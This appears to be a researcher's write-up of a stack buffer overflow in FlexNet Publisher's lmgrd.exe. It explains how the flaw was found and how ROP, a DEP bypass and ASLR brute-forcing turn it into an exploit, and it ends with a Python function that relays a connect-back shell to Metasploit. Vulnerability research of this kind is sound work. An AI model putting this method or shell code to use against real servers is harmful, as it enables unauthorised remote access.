DETAILS

A few months ago, I assisted some colleagues ( @RGKelley5 & @ruddawg26 ) with root cause analysis on a particular set of crashes being triggered in a vendor binary produced by FlexNet Publisher. The article describing how the vulnerability was discovered and triggered can be found here. My goal was to locate the vulnerability and determine whether it was exploitable. The vulnerability found in lmgrd.exe (and any vendor binary created by FlexNet Publisher), can be attributed to a custom strncpy. Similar to a traditional strncpy function, this custom string copy function takes a source buffer, a destination buffer, and a length as parameters. However, the flaw in this function is that it ignores the length parameter. Since the length parameter is ignored, this effectively transforms the function into strcpy, with the constraints that come along with it. Tracing the usage of this function shows it is used extensively in both lmgrd and vendor binaries produced by FlexNet Publisher. What makes this function so dangerous is the assumption by developers that the max length is being respected, when unfortunately it is not. Pseudo-code for the vulnerable strncpy can be seen below.

Upon further analysis, we found that this particular custom strncpy function was used in nearly 100 different places. Most of the usages originated in message parsing functions for user supplied data. One of the first steps I typically take to determine the exploitable of a vulnerability is to identify what memory protections where compiled into an application. Some quick visual analysis revealed the use of stack cookies and running Corelan’s mona script, we can see that the lmgrd binary has been compiled with ASLR, DEP, and SafeSEH.

We’ve learned that one cannot discount a vulnerability just because the application has been compiled with memory protections; there are always exceptional cases. The next, and rather tedious step, was to rank each usage of the vulnerable strncpy by how difficult it would be to exploit. This meant taking into account whether the destination buffer was on the stack or the heap, whether stack cookies were employed in the current stack frame, etc. After some searching, we located the function for parsing messages of type 0x107. This particular function was special because unlike most of the other vulnerable strncpy usages, it did not have a stack cookie compiled into its stack frame. It was assumed this was because the destination buffer for the vulnerable strncpy was only 4 bytes and so maybe the compiler just thought it was an address.

Exercising this message parsing function with a specially crafted packet did indeed cause a stack buffer overflow. One additional requirement however, was that the overflow could not overflow into the function parameters or the subsequent memcpy would throw an exception and we would not gain control of execution. Fortunately, we can simply overwrite the return pointer with a ROP gadget that will pivot our stack to our input buffer on the stack and continue ROP-ing from there. The following figure illustrates what the stack will look like before and after the buffer overflow.

At this point there are still two memory protections we need to overcome, DEP and ASLR. Bypassing DEP is rather trivial as we can use ROP gadgets from the current binary to re-enable an executable stack. ASLR, however, will be more difficult to defeat as we will typically need to leak an address to either the binary or a loaded library. With this in mind, we began looking for any additional bugs that could be leveraged to disclose memory addresses we could use. Unfortunately for us, we were unable to figure out how to get the application to leak back addresses for the binary or loaded libraries. However, during our research we got a better understanding of how the application worked. There are actually two binaries that run as a service in a typical Flexera Publisher vendor installation. One binary is named lmgrd.exe and the second is typically the name of the vendor application, i.e. vendor.exe. We found that the lmgrd binary acted as a manager for the vendor binary and could be used to restart the vendor binary if it crashed. With this discovery, we thought we might be able to take the naive approach and attempt to brute force the base address of the loaded library we planned on using for our ROP chain. We would then send a message to the lmgrd service to restart the application service until we successfully guessed the base address. This was possible because we noticed that the base address for the loaded library only varied by 12 bits, meaning there were only 4096 possible base addresses. Since each selection of a new base address is presumed to be random, our brute forcer is more of a brute guesser hoping for a collision.

For our proof of concept, we combined all of these elements into one python script. In order to verify when the exploit was successful, we decided to use shellcode for a connect back shell and setup a separate thread to notify the main thread when a connection was made. This way we would know precisely when to stop the brute forcer. We used the pwntools library to simplify the proxying of our connect back shell on to a Metasploit server as can be seen below.

####################################################################### # # This function listens for the incoming stage and acts like a proxy # to metasploit. The reason for this is so we can check when the exploit # landed and stop brute forcing # def recv_conn(): global sock global sock2 proxy_port = 4444 msf_port = 4445 local_host = '192.168.229.133' #Listening for incoming connection on port 4444 sock = listen( proxy_port ) sock.wait_for_connection() #Connet to msf sock2 = remote(local_host,msf_port) #Connect the pipes if sock: sock.connect_output(sock2) if sock2: sock2.connect_output(sock)